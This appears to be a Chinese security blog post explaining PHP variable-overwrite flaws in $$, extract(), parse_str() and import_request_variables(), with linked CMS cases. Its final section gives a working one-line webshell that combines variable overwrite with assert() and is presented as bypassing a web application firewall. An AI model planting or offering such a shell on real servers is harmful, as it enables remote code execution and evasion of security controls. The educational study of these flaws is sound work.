一、发生条件:

函数使用不当($$、extract()、parse_str()、import_request_variables()等)

开启全局变量

二、基础了解:

1.$$定义

$$代表可变变量,就是说,一个变量的变量名可以动态的设置和使用。

举个简单例子:



变量a被定义成了字符串hello 而变量$a被定于成了字符串world!

但同时$a本身也是个变量

$$a就可以代表两个含义$($a)和$(hello) 两个变量

此时输出的结果如图:

2.extract()定义

extract()可以从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值

语法结构:extract(array,extract_rules,prefix)

i.array为必选参数(此参数必须为数组型数据)

ii.extract_rules为可选参数,可选的值有:

● EXTR_OVERWRITE - 默认。如果有冲突,则覆盖已有的变量。

● EXTR_SKIP - 如果有冲突,不覆盖已有的变量。

● EXTR_PREFIX_SAME - 如果有冲突,在变量名前加上前缀 prefix。

● EXTR_PREFIX_ALL - 给所有变量名加上前缀 prefix。

● EXTR_PREFIX_INVALID - 仅在不合法或数字变量名前加上前缀 prefix。

● EXTR_IF_EXISTS - 仅在当前符号表中已有同名变量时,覆盖它们的值。其它的都不处理。

● EXTR_PREFIX_IF_EXISTS - 仅在当前符号表中已有同名变量时,建立附加了前缀的变量名,其它的都不处理。

● EXTR_REFS - 将变量作为引用提取。导入的变量仍然引用了数组参数的值。

iii.prefix为可选参数(此参数暂不解释)

举个例子:



在开头我们定义了一个数组d

然后我们使用extract()函数并将array参数填写为数组d

此时数组d中的键名将当做新的变量名来创建一个新的变量,而新的变量的值即为在数组中对应的值。(注意如果之前有声明过同一个变量,那么该变量将被覆盖。如果之后才声明将不会出现变量覆盖的现象)

此时输出结果为:



可以看到我们之前并未声明过a、b、c变量,但是仍可输出。

3.parse_str()定义:

把查询字符串解析到变量中

语法:parse_str(string,array)

string为必选参数

array为可选参数

举个例子



可以看到此函数将name和age初始化成了变量,且值为等号右边的值

当array参数存在时:



4.import_request_varibles()定义

将 GET/POST/Cookie 变量导入到全局作用域中

此函数相当于开启全局变量注册

语法import_request_variables(string $types ,string $prefix )

第一个参数为必选

第二个参数为可选

例子:

import_request_variables("GPC")

使用此方法即可开启对_POST、_GET、_COOKIE的全局变量注册

当第二个参数存在时将会加上一个前缀

三、经典案例

1.经典$$变量覆盖

foreach(array('_COOKIE','_POST','_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$$_key = addslashes($_value);
}

这是一段非常经典的$$注册变量导致的变量覆盖代码,很多应用上都出现过

可以看出$_key为COOKIE POST GET中的参数

比如提交?a=1 则$_key的值为a

而下面的$$_key则会有$a的意思,结合起来就变成了$a = addslashes($_value)

这样便会覆盖原有的变量a的值

我们来运行一下:



可以看到变量a被我们覆盖掉了

2.部分cms变量覆盖案例:

MetInfo全局变量覆盖另类突破防注入

http://www.weixianmanbu.com/article/84.html

齐博CMS变量覆盖导致sql注入漏洞

http://bobao.360.cn/learning/detail/291.html

Destoon 20140530最新版超全局变量覆盖导致的安全问题

http://0day5.com/archives/1855/

四、变量覆盖玩出新花样之一句话木马bypass某狗

经过我们简单的测试,我们可以了解到:当我们使用assert函数时,如果函数的参数是可控,那么某狗拦截。例如:assert($_POST[a])或者$a=$_POST[c];assert($a)这些都是拦截

但是如果我们只有assert($a)这一句时,我们发现他就不会进行拦截了



这就值得我们思考了,为什么这样不会拦截呢?

我认为应该是某狗觉得这个变量a是不可控的,所以就认为这不是木马

那如果这时我们在联系一下变量覆盖漏洞呢?

在这里我选用了上面的案例代码

foreach(array('_COOKIE','_POST','_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$$_key = addslashes($_value);
}
}

把addslashes()删掉 然后把代码精简下

foreach(array('_POST') as $_r){foreach($$_r as $_k => $_v) {$$_k = $_v;}}

最终代码为

<?php foreach(array('_POST') as $_r){foreach($$_r as $_k => $_v) {$$_k = $_v;}};assert($a);?>

成功bypass

变量覆盖漏洞学习及在webshell中的运用的更多相关文章

  1. 7. 由一道ctf学习变量覆盖漏洞

    0×00 背景 近期在研究学习变量覆盖漏洞的问题,于是就把之前学习的和近期看到的CTF题目中有关变量覆盖的题目结合下进一步研究. 通常将可以用自定义的参数值替换原有变量值的情况称为变量覆盖漏洞.经常导 ...

  2. Web安全之变量覆盖漏洞

    通常将可以用自定义的参数值替换原有变量值的情况称为变量覆盖漏洞.经常导致变量覆盖漏洞场景有:$$使用不当,extract()函数使用不当,parse_str()函数使用不当,import_reques ...

  3. ctf变量覆盖漏洞:

    1.变量覆盖: ①:针对extract函数的变量覆盖漏洞: <?php @error_reporting(E_ALL^E_NOTICE); require('config.php'); if($ ...

  4. PHP代码审计笔记--变量覆盖漏洞

    变量覆盖指的是用我们自定义的参数值替换程序原有的变量值,一般变量覆盖漏洞需要结合程序的其它功能来实现完整的攻击. 经常导致变量覆盖漏洞场景有:$$,extract()函数,parse_str()函数, ...

  5. php之变量覆盖漏洞讲解

    1.变量没有初始化的问题(1): wooyun连接1:[link href="WooYun: PHPCMS V9 member表内容随意修改漏洞"]tenzy[/link] $up ...

  6. 代码审计-MetInfo CMS变量覆盖漏洞

    0x01 代码分析 安装好后是这样的 漏洞文件地址\include\common.inc.php 首先是在这个文件发现存在变量覆盖的漏洞 foreach(array('_COOKIE', '_POST ...

  7. 2020/2/1 PHP代码审计之变量覆盖漏洞

    0x00 变量覆盖简介 变量覆盖是指变量未被初始化,我们自定义的参数值可以替换程序原有的变量值. 0x01 漏洞危害 通常结合程序的其他漏洞实现完整的攻击,比如文件上传页面,覆盖掉原来白名单的列表,导 ...

  8. PHP变量覆盖漏洞小结

    前言 变量覆盖漏洞是需要我们需要值得注意的一个漏洞,下面就对变量覆盖漏洞进行一个小总结. 变量覆盖概述 变量覆盖指的是可以用我们自定义的参数值替换程序原有的变量值,通常需要结合程序的其他功能来实现完整 ...

  9. PHP变量覆盖漏洞整理

    昨天群里HW的大佬们都在传某某服终端检测响应平台edr存在大量RCE的洞 官网上关于EDR的介绍是这么写的 终端检测响应平台EDR,围绕终端资产安全生命周期,通过预防.防御.检测.响应赋予终端更为细致 ...

随机推荐

  1. The Ph.D. Grind

    The Ph.D. Grind A Ph.D. Student Memoir Summary The Ph.D. Grind, a 122-page e-book, is the first know ...

  2. Java并发编程原理与实战十三:JDK提供的原子类原理与使用

    原子更新基本类型 原子更新数组 原子更新抽象类型 原子更新字段 原子更新基本类型:   package com.roocon.thread.t8; import java.util.concurren ...

  3. Hbase建模选择

    日期 2017年3月17日 HBase建模记录 OLTP 应用场景: OLAP 应用场景: 语音分析系统的应用场景 基于HBase的建模考虑 1.话单为主来考虑hbase的rowkey的生成规则: 1 ...

  4. sublime text3 最常用的快捷键及插件

    A:最常用的快捷键 Tab:自动补齐代码 <!--div+Tab 其它标签一样--><div></div> emmet常用的使用方法 <!--ul>li ...

  5. C语言编写守护进程

    概念 守护进程(daemon)是一种运行在后台的一种特殊的进程,它独立于控制终端并且周期性的执行某种任务或等待处理某些发生的事件.由于在Linux中,每个系统与用户进行交流的界面成为终端,每一个从此终 ...

  6. yii验证系统学习记录,基于yiicms(一)写的太长了,再写一篇(二)

    项目地址:https://gitee.com/templi/yiicms 感谢七觞酒大神的付出,和免费分享.当然也感谢yii2的开发团队们. 项目已经安全完毕,不知道后台密码,这种背景下,后台无法进去 ...

  7. 基于Ubuntu搭建GMS测试环境

    一.版本信息: 系统版本:Ubuntu 18.04.2 LTS JDK版本: 1.8.0_171 SDK版本:android-sdk_r24.4.1-linux.tgz ADB版本:1.0.40 ap ...

  8. Ubuntu 12.04 更新源的方法及地址

    本文章转自:http://www.maybe520.net/blog/424/ 安装好ubuntu 12.04之后,可以联网之后,马上要做的最重要的事情之一就是配置更新源列表,这样以后安装更新或者软件 ...

  9. Java与JS生成二维码

    1.二维码概念 二维码/二维条码是用某种特定的集合图形按一定规律在平面上(二维方向上)分布的黑白相间的图形记录数据符号信息的图片. 黑线是二进制的1,空白的地方是二进制的0,通过1.0这种数据组合用于 ...

  10. 7 SQL优化技术

    7.1 改变访问结构 7.2 修改SQL语句 SELECT deptno   FROM dept WHERE deptno NOT IN (SELECT deptno FROM emp); SELEC ...